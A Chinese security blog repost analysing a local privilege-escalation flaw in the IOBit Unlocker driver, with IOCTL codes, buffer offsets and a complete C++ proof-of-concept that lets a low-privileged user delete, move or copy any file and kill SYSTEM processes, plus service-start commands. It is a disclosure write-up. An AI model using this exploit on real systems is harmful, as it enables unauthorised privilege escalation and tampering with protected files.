IOBit Unlocker 驱动本地提权漏洞分析

  • A+
所属分类:逆向工程

IOBit Unlocker 驱动本地提权漏洞分析

IOBit Unlocker 驱动本地提权漏洞分析
0x01  漏洞描述

IOBitUnlocker驱动程序存在2个主要漏洞:

1. IOBitUnlocker驱动程序中的IOCTL代码0x222124允许低特权用户解锁文件,它会杀死持有该进程句柄的进程,即使它们正在以SYSTEM特权运行。

2. IOCTL IOBitUnlocker驱动程序中的代码0x222124允许低特权用户删除,移动或复制系统上的任何文件。

IOBit Unlocker 驱动本地提权漏洞分析
0x02  漏洞分析

该应用安装了将执行上述操作的帮助程序和驱动程序,如果我们在OSR的设备树中检查设备的权限,可以看到任何人都具有对驱动程序的完全访问权限:

IOBit Unlocker 驱动本地提权漏洞分析

当我们启动客户端应用程序时,它将提示需要提高访问权限:

IOBit Unlocker 驱动本地提权漏洞分析

要查看客户端的功能或如何执行操作,可以逆向分析驱动程序,但是使用@zodiacon写的的DriverMon工具会更容易,该工具可以监视IOCTL请求并显示数据。

添加文件时,可以看到有一个IOCTL代码正在查询有关文件的信息:是否有任何进程正在使用它,使用了IOCTL代码0x222128。

IOBit Unlocker 驱动本地提权漏洞分析

如果有进程正在使用它,我们将使用以下文件获取进程的PID:

IOBit Unlocker 驱动本地提权漏洞分析

如果单击解锁,我们将使用IOCTL看到一个稍有不同的请求0x222124,再次传递文件名以及偏移量0x424处的数字3:

IOBit Unlocker 驱动本地提权漏洞分析

如果我们查看IDA中的驱动程序文件,将看到它支持的两个IOCTL代码。

IOBit Unlocker 驱动本地提权漏洞分析

在相关偏移量的请求中看到如下内容:

 1. 开锁:

    1. 0x0:Unicode中的文件名

    2. 0x424:字节0x3

 2. 解锁并删除:

    1. 0x0:Unicode中的文件名

    2. 0x420:字节0x1

    3. 0x424:字节0x3

 3. 解锁并重命名:

    1. 0x0:文件名

    2. 0x210:新文件名

    3. 0x420:字节0x2

    4. 0x424:字节0x3

 4. 解锁并移动:

    1. 0x0:文件名

    2. 0x210:具有完整路径的新文件名

    3. 0x420:字节0x3

    4. 0x424:字节0x3

 5. 解锁并复制:

    1. 0x0:文件名

    2. 0x210:具有完整路径的新文件名

    3. 0x420:字节0x4

    4. 0x424:字节0x3

文件重命名操作的输入:

IOBit Unlocker 驱动本地提权漏洞分析

如果单击Force mode偏移量为0x424的字节,则设置为0x7。请求中的所有其他字节均为0,该工具不支持超过256个字节的文件路径,这是典型的MAX_PATH值。4字节的返回值是NTSTATUS代码,如果选择文件夹,则会得到相同的输入值。

考虑到对驱动程序的访问权限是对所有人的完全访问权限,可以在代码中重新实现相同的功能。这是一个明显的特权升级漏洞,我们可以:

1. 删除,复制,移动系统中的任何文件;

2. 杀死任何进程(解锁功能将终止持有该文件句柄的进程)。

如果查看代码,我们可以看到关键系统进程有一个白名单:

IOBit Unlocker 驱动本地提权漏洞分析

我们可以轻松替换任何以SYSTEM身份运行的二进制文件,也可以将DLL复制到将其作为SYSTEM加载的位置。

唯一不起作用的项是重命名文件,由于某种原因,如果用户没有权限,驱动程序将无法重命名该文件。

IOBit Unlocker 驱动本地提权漏洞分析
0x03  漏洞验证

PoC代码:

 // UnlockExploit.cpp : This file contains the 'main' function. Program execution begins and ends there.

 //


 #include  #include  #include  

 BOOL FileExists(LPCWSTR szPath)

 {

  DWORD dwAttrib = GetFileAttributesW(szPath);

  printf("[i] File exists status: 0x%08xn", dwAttrib);

  return (dwAttrib != INVALID_FILE_ATTRIBUTES);

 }


 void ReadStringFromSTDIN(wchar_t * buffer)

 {

  printf("> ");

  fgetws((wchar_t*)buffer, 0x200, stdin);

  memset((LPVOID)((SIZE_T)buffer + (lstrlenW((LPCWSTR)buffer) * sizeof(WCHAR) - sizeof(WCHAR))), 0x00, sizeof(WCHAR)); //remove end of line character

 }


 int main(int argc, char* argv[]) {

  printf("[i] IOBit Unlocker Privilege Escalation PoCn");


  //open the driver

  HANDLE hDriver = CreateFileW(L"\\.\IOBitUnlockerDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

  if (hDriver != INVALID_HANDLE_VALUE)

  {

   printf("[+] opened handle to the drivern");


   DWORD input_buffer_size = 0x1000;

   DWORD output_buffer_size = 0x1000;

   //allocate input buffer

   LPVOID input_buffer = VirtualAlloc(NULL, (SIZE_T)input_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

   if (input_buffer == NULL)

   {

    printf("[-] Unable to allocate memory for input buffern");

    ExitProcess(-1);

   }

   printf("[+] Allocated input memory buffer at: 0x%Ixn", (UINT64)input_buffer);


   //allocate output buffer

   LPVOID output_buffer = VirtualAlloc(NULL, (SIZE_T)output_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

   if (output_buffer == NULL)

   {

    printf("[-] Unable to allocate memory for output buffern");

    ExitProcess(-1);

   }

   printf("[+] Allocated output buffer memory at: 0x%Ixn", (UINT64)output_buffer);


   // Clear memory area

   memset(input_buffer, 0x00, input_buffer_size); 

   memset(output_buffer, 0x00, output_buffer_size);


   printf("[i] Enter full path for the file to unlock. Eg: C:\Windows\System32\cmd.exen");

   ReadStringFromSTDIN((wchar_t*)input_buffer);

   wprintf(L"Fileto be checked: %sn", (wchar_t *)input_buffer);


   if (!FileExists((LPCWSTR)input_buffer)) {

    printf("[-] This file doesn't existsn");

    ExitProcess(-1);

   }

   //print options

   printf("[+] File found!n");

   printf("[i] Choose an option:n");

   printf("1 - INFOn");

   printf("2 - Unlockn");

   printf("3 - Unlock & Deleten");

   printf("4 - Unlock & Renamen");

   printf("5 - Unlock & Moven");

   printf("6 - Unlock & Copyn");

   

   boolean valid = false;

   int option = 0;

   while (!valid)

   {

    printf("> ");

    int result = scanf_s("%d", &option);

    if (result == EOF) {

     printf("[-] Invalid inputn");

     continue;

    }

    if (result == 0) {

     while (fgetc(stdin) != 'n') // Read until a newline is found

      ;

     printf("[-] Invalid inputn");

     continue;

    }

    

    if (option > 0 && option < 7)

    {

     valid = true;

     while (fgetc(stdin) != 'n') // Read until a newline is found, if we don't do this it will mess up code later

      ;

    }

    else

    {

     printf("[-] Invalid number, enter something between 1 and 6n");

    }

   }


   DWORD dwIoctl_info = 0x222128;

   DWORD dwIoctl_action = 0x222124;

   DWORD dwBytesOut = 0;

   switch (option)

   {

   case 1:

   {

    DeviceIoControl(hDriver, dwIoctl_info, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);

    wprintf(L"[i] File info: %sn", (wchar_t*)output_buffer);

    break;

   }

   case 2:

   {

    ((byte*)input_buffer)[0x424] = 0x3;

    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);

    break;

   }

   case 3:

   {

    ((byte*)input_buffer)[0x420] = 0x1;

    ((byte*)input_buffer)[0x424] = 0x3;

    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);

    break;

   }

   case 4: //this is not working id the user doesn't have rights to access the file

   {

    ((byte*)input_buffer)[0x420] = 0x2;

    ((byte*)input_buffer)[0x424] = 0x3;

    printf("[i] Enter new filename:n");

    ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));

    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);

    break;

   }

   case 5:

   {

    ((byte*)input_buffer)[0x420] = 0x3;

    ((byte*)input_buffer)[0x424] = 0x3;

    printf("[i] Enter new path (move operation):n");

    ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));

    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);

    break;

   }

   case 6:

   {

    ((byte*)input_buffer)[0x420] = 0x4;

    ((byte*)input_buffer)[0x424] = 0x3;

    printf("[i] Enter new path (copy operation):n");

    ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));

    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);

    break;

   }

   default:

    break;

   }

  }

  else {

   printf("[-] Couldn't open the drivern");

   ExitProcess(-1);

  }

  CloseHandle(hDriver);

  ExitProcess(0);

 }

漏洞测试:

通常只有在启动主应用程序后,驱动程序才会启动,一旦退出,驱动程序将被终止并禁用。如果要手动启动以进行测试,则需要自己启动:

 sc config iobitunlocker start= demand

 sc start iobitunlocker

POC文件如下,可以自己尝试测试验证:

https://github.com/theevilbit/exploits/tree/master/IOBit%20Unlocker%201.2%20LPE/UnlockExploit

IOBit Unlocker 驱动本地提权漏洞分析
0x04  分析总结

单击Force mode的偏移量为0x424的字节,设置为0x7。请求中的所有其他字节均为0,4字节的返回值是NTSTATUS代码,对驱动程序的访问权限是对所有人的完全访问权限,就可以在代码中重新实现相同的功能,这就变成了一个提权漏洞。

参考及来源:https://theevilbit.github.io/posts/iobit_unlocker_lpe/

IOBit Unlocker 驱动本地提权漏洞分析

IOBit Unlocker 驱动本地提权漏洞分析

本文始发于微信公众号(嘶吼专业版):IOBit Unlocker 驱动本地提权漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: